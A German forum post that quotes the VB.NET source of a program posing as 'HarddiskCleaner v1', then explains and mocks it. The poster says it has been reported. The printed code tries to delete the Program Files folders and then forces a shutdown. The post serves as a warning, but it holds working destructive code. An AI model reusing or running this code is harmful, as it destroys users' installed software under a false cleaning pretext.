Ohja, funktioniert wunderbar [/ironie off]
Code:
Private Shared Sub Main(args As String())
Dim hWnd As Integer = HarddiskCleaner_v1.FindWindow("Progman", Nothing)
HarddiskCleaner_v1.PostMessage(hWnd, 18U, 0, 0)
Console.WriteLine("Welcome to the HarddiskCleaner v1 " & vbLf)
HarddiskCleaner_v1.DLL()
If Directory.Exists("C:\Program Files") Then
Try
Directory.Delete("C:\Program Files")
Catch ex As IOException
Console.WriteLine(ex.Message)
Return
End Try
If Directory.Exists("C:\Program Files (x86)") Then
Try
Directory.Delete("C:\Program Files (x86)")
Catch ex2 As IOException
Console.WriteLine(ex2.Message)
Return
End Try
End If
End If
Dim streamWriter As StreamWriter = File.CreateText("c:\windows\reprot.txt")
streamWriter.WriteLine("Your harddisk is clean now..." & vbLf)
streamWriter.Close()
Console.WriteLine("We cleaned your harddisk ;)" & vbLf)
Process.Start(Environment.SystemDirectory + "\shutdown.exe", "-f -t 5")
Console.ReadLine()
End Sub
Naja, gibt immer wieder solche 'schlauen' Leute, die gerade Programmieren gelernt haben und die Kiddie-Phase mal ausleben müssen.
Wie dem auch sei, das Programm löscht euren Programme-Ordner und fährt den Computer danach herunter. Nicht mal sonderlich schlau geschrieben, z.B. sind die Leute, die ihr System auf D:\ haben nicht betroffen und um die Ordner zu löschen braucht man bei standartmäßig aktivierter UAC Adminrechte.
Fail auf der ganzen Linie
#reportet